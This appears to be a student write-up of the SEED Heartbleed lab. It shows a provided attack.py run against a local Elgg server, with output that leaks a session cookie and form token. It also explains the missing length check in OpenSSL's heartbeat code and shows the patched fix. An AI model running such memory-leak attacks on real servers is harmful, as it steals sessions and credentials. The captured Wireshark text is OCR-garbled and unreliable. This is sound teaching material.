
Heartbleed attack

Lab setup:

- In this lab I am using two virtual machine. The victim server is seed ubuntu and the attack machine is Kali Linux.
- In the attack machine, updated the hosts file with the server's ip address.

• For testing we sent a test message to boby after logging as admin.



Task 1: Launch the Heartbleed Attack:


 Using the attack.py program provided in the lab manual launched the heartbleed attack.

Conducted the attack 5 times to get the required information.

```
oot@admin:~# ./attack.py www.heartbleedlabelgg.com
defribulator v1.20
 A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)
Connecting to: www.heartbleedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result....
Analyze the result....
Analyze the result....
Analyze the result....
Received Server Hello for TLSv1.0
Analyze the result....
WARNING: www.heartbleedlabelgg.com:443 returned more data than it should - server is vulnerable!
Please wait... connection attempt 1 of 1
.@.AAAAAAAAAAAAAAAAAAABCDEFGHIJKLMNOABC...
 .....#....Accept-Encoding: gzip, deflate
Referer: https://www.heartbleedlabelgg.com/messages/compose?send_to=40
Cookie: Elgg=ilne90f7m76hn6l043940vt9o0
Connection: keep-alive
 ,...>...P..:.I.q.:A.....EV..\.qj/.x3t
                                                                                   *eth0
                                                                                                                                                               0 0
 File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
  0011
 tcp
                                                                                                                                              El - Expression...
No.
            Time
                              Source
                                                           Destination
                                                                                       Protocol Length Info
       183 158.209278392 192.168.8.88
                                                           192.168.8.78
                                                                                                     206 Server Key ExchangeServer Hello Done
                                                                                        TLSV1
       184 158.209288344 192.168.0.78
                                                                                                       66 43236-443 [ACK] Seq-226 Ack-1589 Win-3587.
                                                                                                          Heartbeat Request, Ignored Unknown Record
443_43236 [ACK] Seq=1589 Ack=404 Win=1664.
                                                                                                    1514 [TCP segment of a reassembled PDU]
1514 [TCP segment of a reassembled PDU]
       187 158.214520159 192.168.8.88
                                                           192,168,0,78
                                                                                        TCP
       188 158.215753587 192.168.0.88
                                                                                                    1514 [TCP segment of a reassembled PDU]
66 43236-443 [ACK] Seq-404 Ack-4485 Win-4683.
1514 [TCP segment of a reassembled PDU]
1514 [TCP segment of a reassembled PDU]
66 43236-443 [ACK] Seq-404 Ack-7381 Win-4659.
1514 [TCP segment of a reassembled PDU]
1514 [TCP segment of a reassembled PDU]
       189 158, 215773459 192, 168, 0, 78
                                                           192,168,8,88
                                                                                        TCP
       190 158.218491990 192.168.0.80
                                                           192.168.9.78
                                                                                        TCP
       191 158, 219511218 192, 168, 0, 80
                                                           192.168.0.78
                                                                                        TCP
       192 158.219527892 192,168.0.78
                                                           192,168.0.80
                                                                                        TCP
       193 158.221967140 192.168.0.80
194 158.223293369 192.168.0.80
                                                           192.168.8.78
192.168.0.78
                                                                                        TCP
                                                                                        TCP
     TLSv1 Record Layer: Heartbeat (24)
Content Type: Heartbeat (24)
Version: TLS 1.0 (0x8301)
         Length: 41
            artbeat Message
Type: Request (1)
             Payload Length: 16384 (invalid, using 38 to decode payload)
- [Expert Info (Error/Malformed): Invalid heartbeat payload length (16384)]
    Payload (38 bytes

• Ignored Unknown Record
        01 12 82 c7 80 60 01 01 88 8m 60 26 md 60 01 9e
        64 f1 18 83 91 89 29 81 48 88 55
41 41 41 41 41 41 41 41 41 41 41 41
        44 45 46 47 48 49 4a 4b
45 46 47 48 49 4a 4b 4c
        44 45 46 47 48 49 4a 41 4c 4d 4e 4f 41 42 43 44 45 46 45 46 47 48 49 4a 40 4c 4f 41 42 43 44 45 46 46 47 48 49 4a 40 4c 4d 4e 4f 41 42 43 44 45 46 46 48 48 49 4a 40 4c 4d 4e 4f 41 42 43 44 45 46 47 48 49 4a 40 4c 4d 4e 4f 41 42 43 44 45 46 47 48 49 4a 40 4c 4d 4e 4f 41 42 43 44 40 46 47 48 49 4a 40 4c 4d 4e 4f 41 42 43 44 45 46 47 48 49 4a 40 4c 4d 4e 4f 41 42 43 44 45 46 47 48
                                                                             DEEGHT JK LAWDARCH
                                                                              FGHIJKLM NOABCDEF
        45 47 48 49 4a 4b 4c 4d 4e 4f 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 41 42 43 44 45 46 47 48 49 4a 4b 4c 4f 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 41 42 43 44 45 46 47 48 49 4a 4b 6c 4d 4e 4f 41 42 43 44 45 46 47 48 49 4a 4b 6c 4d 4e 4f 41 42 43 44 45 46 47 48 49 4a 4b 6c 4d 4e 4f 41 42 43 44 45 46 47 48 49 4a 4b 6c 4d 4e 4f
                                                                             GHIJKLMN DABCDEFO
HIJKLMND ABCDEFOR
                                                                             IJKLMNOA BCDEFGHIJ
JKLMNOAB CDEFGHIJ
KLMNOABC DEFGHIJK
 Payload Length (ssl.heartbeat_message.payload), 38 bytes
                                                                                              Packets: 384 - Displayed: 153 (39.8%) - Dropped: 0 (0.0%) - Profile: Default
```

- From the above wireshark capture we can see that the heartbeat request.
- The heartbeat request contains a payload of 38 bytes but the payload length is 16384 bytes. (This is manipulated by the attacker)




- Above is the heartbeat response for the heartbeat request. Here we can see that
 payload is 16384 bytes, which was the manipulated payload length of the heartbeat
 request.
- The extra payload added is the data in the openssl memory. This can be private data.

- Got the information on 4th attempt of the attack.
- We can see the message at the last of the output.


```
mdmin:~# ./attack.py www.heartbleedlabelgg.com
defribulator v1.20
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)
Connecting to: www.heartbleedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result....
Analyze the result....
Analyze the result....
Analyze the result...
Received Server Hello for TLSv1.0
Analyze the result....
MARNING: www.heartbleedlabelgg.com:443 returned more data than it should - server is vulnerable!
Please wait... connection attempt 1 of 1
.@.AAAAAAAAAAAAAAAAAAAABCDEFGHIJKLMNDABC...
 ....../*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.heartbleedlabelgg.com/messages/compose?send_to=40
Cookie: Elgg=llne90f7m76hm6l043948vt9o0
Connection: keep alive
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 137
  elgg_token=2117873172eba6f7ff9331e20edc6400&_elgg_ts=1521935592&recipient_guid=40&subject=Test&body=Hi+Boby%2C+This+is+a+te
st+nessage....,&.K..4..^..#.A.
```

• 5th attempt of the attack I was able to get the username and password.

- Given below is the wireshark capture for the 4th and 5th heartbeat response.
- Here we can see the required information.




Task 2: Find the Cause of the Heartbleed Vulnerability:




Payload = Payload in request +????????? from openssl memory

The Heartbleed vulnerability arose because OpenSSL's implementation of the heartbeat functionality was missing a crucial safeguard: the computer that received the heartbeat request never checked to make sure the request was actually as long as it claimed to be. So if a request said it was 16384 bytes long but was actually only 3 bytes, the receiving computer would set aside 16384 bytes of memory buffer, then store the 3 bytes it actually received, then send back that 3 bytes plus whatever happened to be in the next 16381 bytes of memory. That extra 16384 bytes of data is information that the attacker has now extracted from the web server.

- Decreased the payload length and performed the attack.
- Here we can see that the manipulated payload length is 347 bytes.



- Below is the response, but required information was not available.
- Performed the attack few times, still I was not able to get any useful information.




Q 2.1: As the length decreases, the extra data obtained decreases and no useful information was obtained.

 Further decreased the payload length to 83 bytes, less data received compared to above experiment.



Q 2.2

- Decreased the length to a value which is less than the boundary value for the input length variable.
- Here we didn't get any extra data with the heartbeat response.
- We can see from the output that ""Server processed malformed Heartbeat, but did not return any extra data."




Packets: 581 Displayed: 334 (57.5%) Profile: Default

Payload Length (ssl.heartbeat, message payload), 3 bytes

Task 3: Countermeasure and Bug Fix:

- Here we updated the openssl in the victim computer and performed the attack.
- We did not get heartbeat response for the manipulated heartbeat requests.

- From wireshark we can see the heartbeat request from the attack to victim.
- As the openssl is updated the victim computer will not respond to any manipulated heartbeat requests.



Task 3.2:

The mistake in the code listings1 is memcpy(bp, pl, payload);

memcpy() is the command that copies data. **bp** is the place it's copying it to, **pl** is where it's being copied from, and **payload** is the length of the data being copied. The problem is that there is no attempt to check if the amount of data in **pl** is equal to the value given of **payload**.

Solution:

```
* Read type and payload length first */

if (1 + 2 + 16 > s->s3->relent)

return 0;

/* silently discard */

hbtype = *p++;

n2s(p, payload);

if (1 + 2 + payload + 16 > s->s3->rrec.length)

return 0;

/* silently discard per RFC 6520 sec. 4 */

pl = p;
```

The first part of this code makes sure that the heartbeat request isn't 0 KB, which can cause problems. The second part makes sure the request is actually as long as it says it is.

Reference:

- https://www.csoonline.com/article/3223203/vulnerabilities/what-is-the-heartbleed-bug-how-does-it-work-and-how-was-it-fixed.html
- http://heartbleed.com/
- https://www.exploit-db.com/exploits/32764/
- https://www.youtube.com/watch?v=hTK0pywfmDE